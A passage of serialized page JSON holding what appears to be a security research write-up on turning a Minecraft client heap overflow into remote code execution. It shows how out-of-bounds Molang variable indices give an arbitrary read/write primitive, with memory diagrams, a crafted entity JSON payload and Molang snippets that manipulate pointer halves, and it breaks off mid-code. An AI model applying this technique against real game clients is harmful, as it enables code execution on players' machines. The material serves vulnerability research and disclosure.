",{"type":23,"tag":135,"props":150828,"children":150830},{"className":150829},[],[150831],{"type":28,"value":150832},"MolangVariableMap",{"type":28,"value":73},{"type":23,"tag":16900,"props":150835,"children":150837},{"id":150836},"molangvariablemap",[150838],{"type":28,"value":150832},{"type":23,"tag":24,"props":150840,"children":150841},{},[150842,150847,150849,150855,150857,150863],{"type":23,"tag":135,"props":150843,"children":150845},{"className":150844},[],[150846],{"type":28,"value":150832},{"type":28,"value":150848}," is simply a ",{"type":23,"tag":135,"props":150850,"children":150852},{"className":150851},[],[150853],{"type":28,"value":150854},"std::vector\u003CMolangVariable *>",{"type":28,"value":150856}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":23,"tag":135,"props":150858,"children":150860},{"className":150859},[],[150861],{"type":28,"value":150862},"std::vector",{"type":28,"value":150864}," layout:",{"type":23,"tag":128,"props":150866,"children":150868},{"code":150867,"language":1123,"meta":7,"className":14526,"style":7},"struct vector {\n    void *buf;\n    void *len;\n    void *cap;\n};\n",[150869],{"type":23,"tag":135,"props":150870,"children":150871},{"__ignoreMap":7},[150872,150884,150900,150916,150932],{"type":23,"tag":139,"props":150873,"children":150874},{"class":141,"line":142},[150875,150879],{"type":23,"tag":139,"props":150876,"children":150877},{"style":279},[150878],{"type":28,"value":7409},{"type":23,"tag":139,"props":150880,"children":150881},{"style":259},[150882],{"type":28,"value":150883}," vector {\n",{"type":23,"tag":139,"props":150885,"children":150886},{"class":141,"line":151},[150887,150891,150895],{"type":23,"tag":139,"props":150888,"children":150889},{"style":279},[150890],{"type":28,"value":14559},{"type":23,"tag":139,"props":150892,"children":150893},{"style":982},[150894],{"type":28,"value":7825},{"type":23,"tag":139,"props":150896,"children":150897},{"style":259},[150898],{"type":28,"value":150899},"buf;\n",{"type":23,"tag":139,"props":150901,"children":150902},{"class":141,"line":160},[150903,150907,150911],{"type":23,"tag":139,"props":150904,"children":150905},{"style":279},[150906],{"type":28,"value":14559},{"type":23,"tag":139,"props":150908,"children":150909},{"style":982},[150910],{"type":28,"value":7825},{"type":23,"tag":139,"props":150912,"children":150913},{"style":259},[150914],{"type":28,"value":150915},"len;\n",{"type":23,"tag":139,"props":150917,"children":150918},{"class":141,"line":169},[150919,150923,150927],{"type":23,"tag":139,"props":150920,"children":150921},{"style":279},[150922],{"type":28,"value":14559},{"type":23,"tag":139,"props":150924,"children":150925},{"style":982},[150926],{"type":28,"value":7825},{"type":23,"tag":139,"props":150928,"children":150929},{"style":259},[150930],{"type":28,"value":150931},"cap;\n",{"type":23,"tag":139,"props":150933,"children":150934},{"class":141,"line":178},[150935],{"type":23,"tag":139,"props":150936,"children":150937},{"style":259},[150938],{"type":28,"value":14589},{"type":23,"tag":24,"props":150940,"children":150941},{},[150942,150947,150949,150954,150956,150962,150964,150969,150970,150975],{"type":23,"tag":135,"props":150943,"children":150945},{"className":150944},[],[150946],{"type":28,"value":148028},{"type":28,"value":150948}," points to the allocated array of elements, ",{"type":23,"tag":135,"props":150950,"children":150952},{"className":150951},[],[150953],{"type":28,"value":7146},{"type":28,"value":150955}," points just past the last used element, and ",{"type":23,"tag":135,"props":150957,"children":150959},{"className":150958},[],[150960],{"type":28,"value":150961},"cap",{"type":28,"value":150963}," points to the end of the allocated buffer. Notably, the types of ",{"type":23,"tag":135,"props":150965,"children":150967},{"className":150966},[],[150968],{"type":28,"value":7146},{"type":28,"value":9002},{"type":23,"tag":135,"props":150971,"children":150973},{"className":150972},[],[150974],{"type":28,"value":150961},{"type":28,"value":150976}," aren't typical integer types for sizes, but both are pointers.",{"type":23,"tag":24,"props":150978,"children":150979},{},[150980],{"type":28,"value":150981},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":23,"tag":128,"props":150983,"children":150985},{"code":150984},"+---------+         +--------------------+\n|   buf   +-------> | MolangVariable A*  |\n+---------+         +--------------------+\n|   len   +----+    | MolangVariable B*  |\n+---------+    |    +--------------------+\n|   cap   |    |    | MolangVariable C*  |\n+----+----+    |    +--------------------+\n     |         +--> | Empty element slot |\n     |              +--------------------+\n     |                                   ^\n     +-----------------------------------+\n",[150986],{"type":23,"tag":135,"props":150987,"children":150988},{"__ignoreMap":7},[150989],{"type":28,"value":150984},{"type":23,"tag":24,"props":150991,"children":150992},{},[150993,150995,151001,151003,151009],{"type":28,"value":150994},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":23,"tag":135,"props":150996,"children":150998},{"className":150997},[],[150999],{"type":28,"value":151000},"variable.result",{"type":28,"value":151002},") may differ between entities. To get around this, ",{"type":23,"tag":135,"props":151004,"children":151006},{"className":151005},[],[151007],{"type":28,"value":151008},"MolangIndexMap",{"type":28,"value":151010}," is used to map a global variable name to the correct per-entity slot.",{"type":23,"tag":16900,"props":151012,"children":151014},{"id":151013},"molangindexmap",[151015],{"type":28,"value":151008},{"type":23,"tag":24,"props":151017,"children":151018},{},[151019,151024,151026,151032,151034,151040],{"type":23,"tag":135,"props":151020,"children":151022},{"className":151021},[],[151023],{"type":28,"value":151008},{"type":28,"value":151025}," is a per-entity ",{"type":23,"tag":135,"props":151027,"children":151029},{"className":151028},[],[151030],{"type":28,"value":151031},"std::vector\u003Cuint16_t>",{"type":28,"value":151033},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":23,"tag":135,"props":151035,"children":151037},{"className":151036},[],[151038],{"type":28,"value":151039},"variable.result = 0",{"type":28,"value":151041}," it:",{"type":23,"tag":797,"props":151043,"children":151044},{},[151045,151055,151065],{"type":23,"tag":801,"props":151046,"children":151047},{},[151048,151050],{"type":28,"value":151049},"Checks the global hashmap for ",{"type":23,"tag":135,"props":151051,"children":151053},{"className":151052},[],[151054],{"type":28,"value":7089},{"type":23,"tag":801,"props":151056,"children":151057},{},[151058,151060],{"type":28,"value":151059},"If found, uses the global index to look up the per-entity index in ",{"type":23,"tag":135,"props":151061,"children":151063},{"className":151062},[],[151064],{"type":28,"value":151008},{"type":23,"tag":801,"props":151066,"children":151067},{},[151068,151070],{"type":28,"value":151069},"If not found, creates a new global entry and assigns it ",{"type":23,"tag":135,"props":151071,"children":151073},{"className":151072},[],[151074],{"type":28,"value":151075},"last_index + 1",{"type":23,"tag":24,"props":151077,"children":151078},{},[151079,151081,151086,151088,151093,151095,151100,151102,151107,151109,151114,151115,151121,151123,151128],{"type":28,"value":151080},"This means the same global index for variable ",{"type":23,"tag":135,"props":151082,"children":151084},{"className":151083},[],[151085],{"type":28,"value":7089},{"type":28,"value":151087}," maps to the same position inside every entity’s ",{"type":23,"tag":135,"props":151089,"children":151091},{"className":151090},[],[151092],{"type":28,"value":151008},{"type":28,"value":151094},", but the actual ",{"type":23,"tag":135,"props":151096,"children":151098},{"className":151097},[],[151099],{"type":28,"value":150505},{"type":28,"value":151101}," for ",{"type":23,"tag":135,"props":151103,"children":151105},{"className":151104},[],[151106],{"type":28,"value":7089},{"type":28,"value":151108}," may live at different slots inside each entity's ",{"type":23,"tag":135,"props":151110,"children":151112},{"className":151111},[],[151113],{"type":28,"value":150832},{"type":28,"value":765},{"type":23,"tag":135,"props":151116,"children":151118},{"className":151117},[],[151119],{"type":28,"value":151120},"Entity.MolangIndexMap[global_index]",{"type":28,"value":151122}," stores the per-entity index (slot) of variable ",{"type":23,"tag":135,"props":151124,"children":151126},{"className":151125},[],[151127],{"type":28,"value":7089},{"type":28,"value":73},{"type":23,"tag":24,"props":151130,"children":151131},{},[151132,151134,151139,151141,151146,151148,151153,151155,151160,151162,151168,151170,151175],{"type":28,"value":151133},"Importantly, we found that indices in the ",{"type":23,"tag":135,"props":151135,"children":151137},{"className":151136},[],[151138],{"type":28,"value":151008},{"type":28,"value":151140}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":23,"tag":135,"props":151142,"children":151144},{"className":151143},[],[151145],{"type":28,"value":150832},{"type":28,"value":151147},". This means that if we overwrite the index of variable ",{"type":23,"tag":135,"props":151149,"children":151151},{"className":151150},[],[151152],{"type":28,"value":7089},{"type":28,"value":151154}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":23,"tag":135,"props":151156,"children":151158},{"className":151157},[],[151159],{"type":28,"value":150832},{"type":28,"value":151161},", we could read from and write to ",{"type":23,"tag":135,"props":151163,"children":151165},{"className":151164},[],[151166],{"type":28,"value":151167},"address + 0x38",{"type":28,"value":151169}," through ",{"type":23,"tag":135,"props":151171,"children":151173},{"className":151172},[],[151174],{"type":28,"value":151000},{"type":28,"value":73},{"type":23,"tag":666,"props":151177,"children":151179},{"id":151178},"building-a-molang-arbitrary-rw-primitive",[151180],{"type":28,"value":151181},"Building a Molang Arbitrary R/W Primitive",{"type":23,"tag":24,"props":151183,"children":151184},{},[151185,151187,151192,151194,151199],{"type":28,"value":151186},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":23,"tag":135,"props":151188,"children":151190},{"className":151189},[],[151191],{"type":28,"value":150862},{"type":28,"value":151193}," - specifically, of ",{"type":23,"tag":135,"props":151195,"children":151197},{"className":151196},[],[151198],{"type":28,"value":150832},{"type":28,"value":151200}," vector.",{"type":23,"tag":24,"props":151202,"children":151203},{},[151204,151206,151211,151213,151218,151219,151224,151226,151231],{"type":28,"value":151205},"Because every entity object is heap-allocated and contains a ",{"type":23,"tag":135,"props":151207,"children":151209},{"className":151208},[],[151210],{"type":28,"value":150832},{"type":28,"value":151212}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":23,"tag":135,"props":151214,"children":151216},{"className":151215},[],[151217],{"type":28,"value":148028},{"type":28,"value":53690},{"type":23,"tag":135,"props":151220,"children":151222},{"className":151221},[],[151223],{"type":28,"value":150832},{"type":28,"value":151225}," vector belonging to an entity object placed just next the ",{"type":23,"tag":135,"props":151227,"children":151229},{"className":151228},[],[151230],{"type":28,"value":150832},{"type":28,"value":151232}," allocated buffer.",{"type":23,"tag":128,"props":151234,"children":151236},{"code":151235},"      +-------------+ \u003C--+                   \n+---> | variable.a  |    |                   \n|     +-------------+    |                   \n|     | variable.b  |    |                   \n|     +-------------+    +- MolangVariableMap allocated buffer\n|     |    . . .    |    |                   \n|     +-------------+    |                   \n|     | variable.f  |    |                   \n|     +-------------+ \u003C--+--+                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     +------+------+       +- Entity Object \n+-----+ buf  | len  |       |                \n      +------+------+       |                \n      | cap  |      |       |                \n      +------+      |       |                \n      +-------------+ \u003C-----+                                       \n",[151237],{"type":23,"tag":135,"props":151238,"children":151239},{"__ignoreMap":7},[151240],{"type":28,"value":151235},{"type":23,"tag":24,"props":151242,"children":151243},{},[151244,151246,151251,151253,151259,151261,151266,151267,151273,151274,151279,151281,151286,151288,151293,151295,151300,151302,151307,151309,151314,151316,151321,151323,151329,151331,151336,151338,151343],{"type":28,"value":151245},"In the scenario above, the ",{"type":23,"tag":135,"props":151247,"children":151249},{"className":151248},[],[151250],{"type":28,"value":151008},{"type":28,"value":151252}," would map ",{"type":23,"tag":135,"props":151254,"children":151256},{"className":151255},[],[151257],{"type":28,"value":151258},"variable.a",{"type":28,"value":151260}," -> index ",{"type":23,"tag":135,"props":151262,"children":151264},{"className":151263},[],[151265],{"type":28,"value":2021},{"type":28,"value":1052},{"type":23,"tag":135,"props":151268,"children":151270},{"className":151269},[],[151271],{"type":28,"value":151272},"variable.b",{"type":28,"value":151260},{"type":23,"tag":135,"props":151275,"children":151277},{"className":151276},[],[151278],{"type":28,"value":647},{"type":28,"value":151280},", and so on. If we overwrite the index for ",{"type":23,"tag":135,"props":151282,"children":151284},{"className":151283},[],[151285],{"type":28,"value":151258},{"type":28,"value":151287}," with a value that is out-of-bounds for the ",{"type":23,"tag":135,"props":151289,"children":151291},{"className":151290},[],[151292],{"type":28,"value":150832},{"type":28,"value":151294},", it can instead index the ",{"type":23,"tag":135,"props":151296,"children":151298},{"className":151297},[],[151299],{"type":28,"value":148028},{"type":28,"value":151301}," field of the entity object above. Reading ",{"type":23,"tag":135,"props":151303,"children":151305},{"className":151304},[],[151306],{"type":28,"value":151258},{"type":28,"value":151308}," will then return the pointer stored at offset ",{"type":23,"tag":135,"props":151310,"children":151312},{"className":151311},[],[151313],{"type":28,"value":150766},{"type":28,"value":151315}," from the start of the ",{"type":23,"tag":135,"props":151317,"children":151319},{"className":151318},[],[151320],{"type":28,"value":150832},{"type":28,"value":151322}," (which in this diagram corresponds to ",{"type":23,"tag":135,"props":151324,"children":151326},{"className":151325},[],[151327],{"type":28,"value":151328},"variable.f",{"type":28,"value":151330},"), and writing to ",{"type":23,"tag":135,"props":151332,"children":151334},{"className":151333},[],[151335],{"type":28,"value":151258},{"type":28,"value":151337}," will overwrite that pointer - corrupting ",{"type":23,"tag":135,"props":151339,"children":151341},{"className":151340},[],[151342],{"type":28,"value":151328},{"type":28,"value":73},{"type":23,"tag":24,"props":151345,"children":151346},{},[151347,151349,151354,151355,151361,151363,151368,151370,151376,151378,151383,151385,151390,151392,151398,151400,151406,151408,151413],{"type":28,"value":151348},"To leak the address of the Minecraft executable we could increment ",{"type":23,"tag":135,"props":151350,"children":151352},{"className":151351},[],[151353],{"type":28,"value":151258},{"type":28,"value":1042},{"type":23,"tag":135,"props":151356,"children":151358},{"className":151357},[],[151359],{"type":28,"value":151360},"variable.a += 8",{"type":28,"value":151362},"), which advances the pointer used for ",{"type":23,"tag":135,"props":151364,"children":151366},{"className":151365},[],[151367],{"type":28,"value":151328},{"type":28,"value":151369}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":23,"tag":135,"props":151371,"children":151373},{"className":151372},[],[151374],{"type":28,"value":151375},"variable.a = variable.exe_leak + \u003Coffset>",{"type":28,"value":151377}," - this updates the ",{"type":23,"tag":135,"props":151379,"children":151381},{"className":151380},[],[151382],{"type":28,"value":151328},{"type":28,"value":151384}," pointer to our chosen address, and writing to ",{"type":23,"tag":135,"props":151386,"children":151388},{"className":151387},[],[151389],{"type":28,"value":151328},{"type":28,"value":151391},", for example ",{"type":23,"tag":135,"props":151393,"children":151395},{"className":151394},[],[151396],{"type":28,"value":151397},"variable.f = 1337",{"type":28,"value":151399},", writes the value ",{"type":23,"tag":135,"props":151401,"children":151403},{"className":151402},[],[151404],{"type":28,"value":151405},"1337",{"type":28,"value":151407}," to offset ",{"type":23,"tag":135,"props":151409,"children":151411},{"className":151410},[],[151412],{"type":28,"value":150766},{"type":28,"value":151414}," from that calculated address.",{"type":23,"tag":16900,"props":151416,"children":151418},{"id":151417},"testing-the-idea",[151419],{"type":28,"value":151420},"Testing the Idea",{"type":23,"tag":24,"props":151422,"children":151423},{},[151424,151426,151431,151433,151438,151440,151445],{"type":28,"value":151425},"We tested the idea by manually adding a pointer to the start of ",{"type":23,"tag":135,"props":151427,"children":151429},{"className":151428},[],[151430],{"type":28,"value":150832},{"type":28,"value":151432}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":23,"tag":659,"props":151434,"children":151435},{},[151436],{"type":28,"value":151437},"almost",{"type":28,"value":151439}," worked - below is the state of the ",{"type":23,"tag":135,"props":151441,"children":151443},{"className":151442},[],[151444],{"type":28,"value":150832},{"type":28,"value":151446},"'s allocated buffer before the Molang script executes:",{"type":23,"tag":24,"props":151448,"children":151449},{},[151450],{"type":23,"tag":429,"props":151451,"children":151453},{"alt":48476,"src":151452},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":23,"tag":24,"props":151455,"children":151456},{},[151457],{"type":28,"value":151458},"And this is after execution:",{"type":23,"tag":24,"props":151460,"children":151461},{},[151462],{"type":23,"tag":429,"props":151463,"children":151465},{"alt":48476,"src":151464},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":23,"tag":24,"props":151467,"children":151468},{},[151469],{"type":28,"value":151470},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":23,"tag":128,"props":151472,"children":151474},{"code":151473,"language":31886,"meta":7,"className":31884,"style":7},"{\n  \"format_version\": \"1.10.0\",\n  \"minecraft:client_entity\": {\n    \"description\": {\n      \"identifier\": \"minecraft:leash_knot\",\n\n      [...]\n        \n      \"scripts\": {\n        \"initialize\": [\n          \"variable.a = 0;\",\n          \"variable.b = 0;\",\n          \"variable.c = 0;\",\n          [...]\n        ],\n        \"pre_animation\": [\n          \"variable.a = 2.310732e-27;\"\n        ]\n      },\n    }\n  }\n}\n",[151475],{"type":23,"tag":135,"props":151476,"children":151477},{"__ignoreMap":7},[151478,151485,151506,151518,151530,151551,151558,151565,151572,151584,151597,151609,151621,151633,151649,151656,151668,151676,151684,151691,151698,151705],{"type":23,"tag":139,"props":151479,"children":151480},{"class":141,"line":142},[151481],{"type":23,"tag":139,"props":151482,"children":151483},{"style":259},[151484],{"type":28,"value":8890},{"type":23,"tag":139,"props":151486,"children":151487},{"class":141,"line":151},[151488,151493,151497,151502],{"type":23,"tag":139,"props":151489,"children":151490},{"style":294},[151491],{"type":28,"value":151492},"  \"format_version\"",{"type":23,"tag":139,"props":151494,"children":151495},{"style":259},[151496],{"type":28,"value":13343},{"type":23,"tag":139,"props":151498,"children":151499},{"style":265},[151500],{"type":28,"value":151501},"\"1.10.0\"",{"type":23,"tag":139,"props":151503,"children":151504},{"style":259},[151505],{"type":28,"value":1488},{"type":23,"tag":139,"props":151507,"children":151508},{"class":141,"line":160},[151509,151514],{"type":23,"tag":139,"props":151510,"children":151511},{"style":294},[151512],{"type":28,"value":151513},"  \"minecraft:client_entity\"",{"type":23,"tag":139,"props":151515,"children":151516},{"style":259},[151517],{"type":28,"value":34912},{"type":23,"tag":139,"props":151519,"children":151520},{"class":141,"line":169},[151521,151526],{"type":23,"tag":139,"props":151522,"children":151523},{"style":294},[151524],{"type":28,"value":151525},"    \"description\"",{"type":23,"tag":139,"props":151527,"children":151528},{"style":259},[151529],{"type":28,"value":34912},{"type":23,"tag":139,"props":151531,"children":151532},{"class":141,"line":178},[151533,151538,151542,151547],{"type":23,"tag":139,"props":151534,"children":151535},{"style":294},[151536],{"type":28,"value":151537},"      \"identifier\"",{"type":23,"tag":139,"props":151539,"children":151540},{"style":259},[151541],{"type":28,"value":13343},{"type":23,"tag":139,"props":151543,"children":151544},{"style":265},[151545],{"type":28,"value":151546},"\"minecraft:leash_knot\"",{"type":23,"tag":139,"props":151548,"children":151549},{"style":259},[151550],{"type":28,"value":1488},{"type":23,"tag":139,"props":151552,"children":151553},{"class":141,"line":187},[151554],{"type":23,"tag":139,"props":151555,"children":151556},{"emptyLinePlaceholder":15},[151557],{"type":28,"value":184},{"type":23,"tag":139,"props":151559,"children":151560},{"class":141,"line":196},[151561],{"type":23,"tag":139,"props":151562,"children":151563},{"style":20415},[151564],{"type":28,"value":125345},{"type":23,"tag":139,"props":151566,"children":151567},{"class":141,"line":205},[151568],{"type":23,"tag":139,"props":151569,"children":151570},{"style":259},[151571],{"type":28,"value":150655},{"type":23,"tag":139,"props":151573,"children":151574},{"class":141,"line":214},[151575,151580],{"type":23,"tag":139,"props":151576,"children":151577},{"style":294},[151578],{"type":28,"value":151579},"      \"scripts\"",{"type":23,"tag":139,"props":151581,"children":151582},{"style":259},[151583],{"type":28,"value":34912},{"type":23,"tag":139,"props":151585,"children":151586},{"class":141,"line":1320},[151587,151592],{"type":23,"tag":139,"props":151588,"children":151589},{"style":294},[151590],{"type":28,"value":151591},"        \"initialize\"",{"type":23,"tag":139,"props":151593,"children":151594},{"style":259},[151595],{"type":28,"value":151596},": [\n",{"type":23,"tag":139,"props":151598,"children":151599},{"class":141,"line":1329},[151600,151605],{"type":23,"tag":139,"props":151601,"children":151602},{"style":265},[151603],{"type":28,"value":151604},"          \"variable.a = 0;\"",{"type":23,"tag":139,"props":151606,"children":151607},{"style":259},[151608],{"type":28,"value":1488},{"type":23,"tag":139,"props":151610,"children":151611},{"class":141,"line":1580},[151612,151617],{"type":23,"tag":139,"props":151613,"children":151614},{"style":265},[151615],{"type":28,"value":151616},"          \"variable.b = 0;\"",{"type":23,"tag":139,"props":151618,"children":151619},{"style":259},[151620],{"type":28,"value":1488},{"type":23,"tag":139,"props":151622,"children":151623},{"class":141,"line":1597},[151624,151629],{"type":23,"tag":139,"props":151625,"children":151626},{"style":265},[151627],{"type":28,"value":151628},"          \"variable.c = 0;\"",{"type":23,"tag":139,"props":151630,"children":151631},{"style":259},[151632],{"type":28,"value":1488},{"type":23,"tag":139,"props":151634,"children":151635},{"class":141,"line":1614},[151636,151641,151645],{"type":23,"tag":139,"props":151637,"children":151638},{"style":259},[151639],{"type":28,"value":151640},"          [",{"type":23,"tag":139,"props":151642,"children":151643},{"style":20415},[151644],{"type":28,"value":7599},{"type":23,"tag":139,"props":151646,"children":151647},{"style":259},[151648],{"type":28,"value":9783},{"type":23,"tag":139,"props":151650,"children":151651},{"class":141,"line":1627},[151652],{"type":23,"tag":139,"props":151653,"children":151654},{"style":259},[151655],{"type":28,"value":41542},{"type":23,"tag":139,"props":151657,"children":151658},{"class":141,"line":1636},[151659,151664],{"type":23,"tag":139,"props":151660,"children":151661},{"style":294},[151662],{"type":28,"value":151663},"        \"pre_animation\"",{"type":23,"tag":139,"props":151665,"children":151666},{"style":259},[151667],{"type":28,"value":151596},{"type":23,"tag":139,"props":151669,"children":151670},{"class":141,"line":1659},[151671],{"type":23,"tag":139,"props":151672,"children":151673},{"style":265},[151674],{"type":28,"value":151675},"          \"variable.a = 2.310732e-27;\"\n",{"type":23,"tag":139,"props":151677,"children":151678},{"class":141,"line":1667},[151679],{"type":23,"tag":139,"props":151680,"children":151681},{"style":259},[151682],{"type":28,"value":151683},"        ]\n",{"type":23,"tag":139,"props":151685,"children":151686},{"class":141,"line":1676},[151687],{"type":23,"tag":139,"props":151688,"children":151689},{"style":259},[151690],{"type":28,"value":35089},{"type":23,"tag":139,"props":151692,"children":151693},{"class":141,"line":1745},[151694],{"type":23,"tag":139,"props":151695,"children":151696},{"style":259},[151697],{"type":28,"value":1335},{"type":23,"tag":139,"props":151699,"children":151700},{"class":141,"line":1753},[151701],{"type":23,"tag":139,"props":151702,"children":151703},{"style":259},[151704],{"type":28,"value":3874},{"type":23,"tag":139,"props":151706,"children":151707},{"class":141,"line":1783},[151708],{"type":23,"tag":139,"props":151709,"children":151710},{"style":259},[151711],{"type":28,"value":1897},{"type":23,"tag":24,"props":151713,"children":151714},{},[151715,151717,151722,151724,151729,151731,151736],{"type":28,"value":151716},"As shown, the pointer of a variable at offset ",{"type":23,"tag":135,"props":151718,"children":151720},{"className":151719},[],[151721],{"type":28,"value":150766},{"type":28,"value":151723}," was modified and the core concept works. During ",{"type":23,"tag":135,"props":151725,"children":151727},{"className":151726},[],[151728],{"type":28,"value":150724},{"type":28,"value":151730}," copy, pointers of some other variables above offset ",{"type":23,"tag":135,"props":151732,"children":151734},{"className":151733},[],[151735],{"type":28,"value":150766},{"type":28,"value":151737}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":23,"tag":24,"props":151739,"children":151740},{},[151741],{"type":28,"value":151742},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":23,"tag":14699,"props":151744,"children":151745},{},[151746,151759],{"type":23,"tag":801,"props":151747,"children":151748},{},[151749,151751,151757],{"type":28,"value":151750},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":23,"tag":135,"props":151752,"children":151754},{"className":151753},[],[151755],{"type":28,"value":151756},"FLT_MAX",{"type":28,"value":151758},", the value becomes an invalid float causing the increment operation to fail.",{"type":23,"tag":801,"props":151760,"children":151761},{},[151762,151764,151769,151771,151776,151777,151782,151784,151789],{"type":28,"value":151763},"As noted before, during assignment, ",{"type":23,"tag":135,"props":151765,"children":151767},{"className":151766},[],[151768],{"type":28,"value":150724},{"type":28,"value":151770}," fields are copied, and the ",{"type":23,"tag":135,"props":151772,"children":151774},{"className":151773},[],[151775],{"type":28,"value":37042},{"type":28,"value":150814},{"type":23,"tag":135,"props":151778,"children":151780},{"className":151779},[],[151781],{"type":28,"value":53533},{"type":28,"value":151783},". Since our source ",{"type":23,"tag":135,"props":151785,"children":151787},{"className":151786},[],[151788],{"type":28,"value":150724},{"type":28,"value":151790}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":23,"tag":24,"props":151792,"children":151793},{},[151794],{"type":28,"value":151795},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":23,"tag":16900,"props":151797,"children":151799},{"id":151798},"expanding-the-idea",[151800],{"type":28,"value":151801},"Expanding the Idea",{"type":23,"tag":24,"props":151803,"children":151804},{},[151805,151807,151812,151814,151819,151820,151825,151827,151832],{"type":28,"value":151806},"As mentioned earlier, the ",{"type":23,"tag":135,"props":151808,"children":151810},{"className":151809},[],[151811],{"type":28,"value":30644},{"type":28,"value":151813}," field of ",{"type":23,"tag":135,"props":151815,"children":151817},{"className":151816},[],[151818],{"type":28,"value":150724},{"type":28,"value":13456},{"type":23,"tag":135,"props":151821,"children":151823},{"className":151822},[],[151824],{"type":28,"value":55832},{"type":28,"value":151826},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":23,"tag":135,"props":151828,"children":151830},{"className":151829},[],[151831],{"type":28,"value":37042},{"type":28,"value":151833}," field remain unchanged before and after Molang execution.",{"type":23,"tag":24,"props":151835,"children":151836},{},[151837,151839,151844],{"type":28,"value":151838},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":23,"tag":135,"props":151840,"children":151842},{"className":151841},[],[151843],{"type":28,"value":150832},{"type":28,"value":151845},"’s allocated buffer + 4.",{"type":23,"tag":24,"props":151847,"children":151848},{},[151849,151851,151856,151858,151863,151865,151870,151871,151877],{"type":28,"value":151850},"In the example below, ",{"type":23,"tag":135,"props":151852,"children":151854},{"className":151853},[],[151855],{"type":28,"value":151258},{"type":28,"value":151857}," points to ",{"type":23,"tag":135,"props":151859,"children":151861},{"className":151860},[],[151862],{"type":28,"value":150832},{"type":28,"value":151864},", while ",{"type":23,"tag":135,"props":151866,"children":151868},{"className":151867},[],[151869],{"type":28,"value":151272},{"type":28,"value":151857},{"type":23,"tag":135,"props":151872,"children":151874},{"className":151873},[],[151875],{"type":28,"value":151876},"MolangVariableMap + 4",{"type":28,"value":2493},{"type":23,"tag":128,"props":151879,"children":151881},{"code":151880},"                         variable.f pointer     \n                                 |              \n                   +-------------+-------------+\n                   v                           v\n                                                \n                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[151882],{"type":23,"tag":135,"props":151883,"children":151884},{"__ignoreMap":7},[151885],{"type":28,"value":151880},{"type":23,"tag":24,"props":151887,"children":151888},{},[151889,151891,151896,151897,151902,151904,151909,151911,151916,151918,151923],{"type":28,"value":151890},"Here, the ",{"type":23,"tag":135,"props":151892,"children":151894},{"className":151893},[],[151895],{"type":28,"value":37042},{"type":28,"value":151813},{"type":23,"tag":135,"props":151898,"children":151900},{"className":151899},[],[151901],{"type":28,"value":151258},{"type":28,"value":151903}," starts at the lower 32 bits of the ",{"type":23,"tag":135,"props":151905,"children":151907},{"className":151906},[],[151908],{"type":28,"value":151328},{"type":28,"value":151910}," pointer, while ",{"type":23,"tag":135,"props":151912,"children":151914},{"className":151913},[],[151915],{"type":28,"value":151272},{"type":28,"value":151917}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":23,"tag":135,"props":151919,"children":151921},{"className":151920},[],[151922],{"type":28,"value":151328},{"type":28,"value":151924}," pointer in a separate variable:",{"type":23,"tag":128,"props":151926,"children":151928},{"code":151927},"variable.saved_upper_32 = variable.b;\n",[151929],{"type":23,"tag":135,"props":151930,"children":151931},{"__ignoreMap":7},[151932],{"type":28,"value":151927},{"type":23,"tag":24,"props":151934,"children":151935},{},[151936],{"type":28,"value":151937},"Then we can modify the lower 32 bits of the pointer:",{"type":23,"tag":128,"props":151939,"children":151941},{"code":151940},"variable.a = variable.a + itof(0x8);\n",[151942],{"type":23,"tag":135,"props":151943,"children":151944},{"__ignoreMap":7},[151945],{"type":28,"value":151940},{"type":23,"tag":24,"props":151947,"children":151948},{},[151949],{"type":28,"value":151950},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":23,"tag":128,"props":151952,"children":151954},{"code":151953},"                   +-------------+-------------+\n                   | a8 bb cc dd | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[151955],{"type":23,"tag":135,"props":151956,"children":151957},{"__ignoreMap":7},[151958],{"type":28,"value":151953},{"type":23,"tag":24,"props":151960,"children":151961},{},[151962,151964,151969],{"type":28,"value":151963},"Since the 32 bits directly below the ",{"type":23,"tag":135,"props":151965,"children":151967},{"className":151966},[],[151968],{"type":28,"value":37042},{"type":28,"value":151970}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":23,"tag":128,"props":151972,"children":151974},{"code":151973},"variable.b = 